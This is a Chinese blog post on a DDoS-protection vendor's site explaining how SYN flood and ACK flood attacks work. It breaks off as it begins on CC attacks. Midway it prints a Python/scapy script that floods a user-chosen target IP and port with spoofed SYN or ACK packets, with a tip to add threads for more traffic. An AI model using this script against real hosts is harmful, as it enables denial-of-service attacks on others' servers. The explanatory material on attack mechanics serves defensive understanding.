DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > DDOS防御 > 正文

ddos防御:浅谈拒绝服务攻击的原理与防御

09-20 DDOS防御

普通拒绝服务攻击是指一些传统的攻击方式,如:SYN FLOOD攻击、ACK FLOOD攻击、CC攻击、UDP  FLOOD攻击 等等,下面会详细介绍。
SYN FLOOD攻击
Syn flood攻击是利用TCP协议的一些特性发动的,通过发送大量 伪造的带有syn标志位的TCP报文 使 目标服务器连接耗尽,达到拒绝服务的目的。要想理解 syn flood的 攻击原理 必须要先了解TCP协议建立连接的机制。TCP(Transmission Control Protocol  传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层 通信协议。在TCP/IP协议簇中,TCP层是位于IP层之上,应用层之下的中间层。不同 的主机的应用层之间通信,通 常需要可靠的、像管道一样的连接,但是IP层(网络层)不提供这样的可靠字节 流机制,而是提供不可靠的数据包交换。因为TCP是可靠的传输方式,所以 在通信之前需要建立连接,TCP建立连接的方式就是著名的TCP三次握手(如图3-1-1) :

浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击


syn flood攻击就是在三次握手机制的基础上实现的。攻击者通过伪造IP 报文,在IP报文的原地址字段随机填入伪造的IP地址,目的地址填入 要攻击的服务器IP地址,其他TTL、ID 以及TCP中的Source Port等随机填入合理数据,TCP的目的端口填入目的服务器开放的 端口 如:80、8080等,syn标志位置 1。然后通过不停的循环讲伪造好的数据包发送 到目的服务器。样本如图3-2、3-3:

 


 


可以看到目标主机建立了很多虚假的半开连接,这耗费了目标主机大量的 连接资源。可以想象如果成千上万台“肉鸡 ”对一台服务器发动syn flood攻击威力将是非常强大
ACK FLOOD攻击
ack flood攻击同样是利用TCP三次握手的缺陷实现的攻击, ack flood攻击利用的是三次握手的第二段,也就是TCP标志位syn和ack都置1,攻击主机伪造海量的 虚假ack包发送给目标主机,目标主机每收到一个带有 ack标志位的数据包时,都会去自己的TCP连接表中查看有没有与ack的发送者建立连接 ,如果有则发送三次握手的第三段ack+seq完成三次握手,成功 建立TCP连接。如果没有则发送ack+rst 断开连接。但是在这个过程中会消耗一定的CUP计算资源,如果瞬间 收到海量的syn+ack数据包将会 消耗大量的cpu资源使得正常的连接无法建立或者增加延迟,甚至造成服务器瘫痪、死机。如图:

浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击


攻击开始前:

浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击


攻击开始后:

浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击


理论上目标主机的TCP连接越多ack攻击效果越好,所以如果syn flood与ack flood配合使用效果会更明显。
实现代码如下(我是用scapy写的,单线程速度并不快,想要更大流量自行增加多线程):
#-*- coding: UTF-8 -*-
import socket
import struct
from scapy.all import *
from scapy import all
import random
print"SYN/ACK FLOOD"
 
mode=input("SYN or ACK (0 or 1):")
if mode==0:
 flag=2
elif mode==1:
 flag=18
else :
 print"BUG "dip=raw_input(str("输入目的地址:"))
dp=input("目的端口: ")
sip1=raw_input(str("源地址(随机请输入 R ):"))
sp1=raw_input(str("源端口(随机请输入 R): "))
while 1:
 if sip1=="R":
  iprandom=random.randint(0,4000000000)
  sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
  if sp1=="R":
   sp=random.randint(1,65535)
  else:
    sp=sp1
 else:
  sip=sip1
  if sp1=="R":
   sp=random.randint(1,65535)
   else:
    sp=sp1
 t=random.randint(64,128)
 pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))
 
 send(pack)
CC攻击
CC攻击全称Challenge Collapsar,中文意思是挑战黑洞,因为以前的抗DDOS攻击的 安全设备叫黑洞,顾名思义挑战黑洞就是说黑洞 拿这种攻击没办法,新一代的抗DDOS

 

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//ddos1/190.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 676017访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X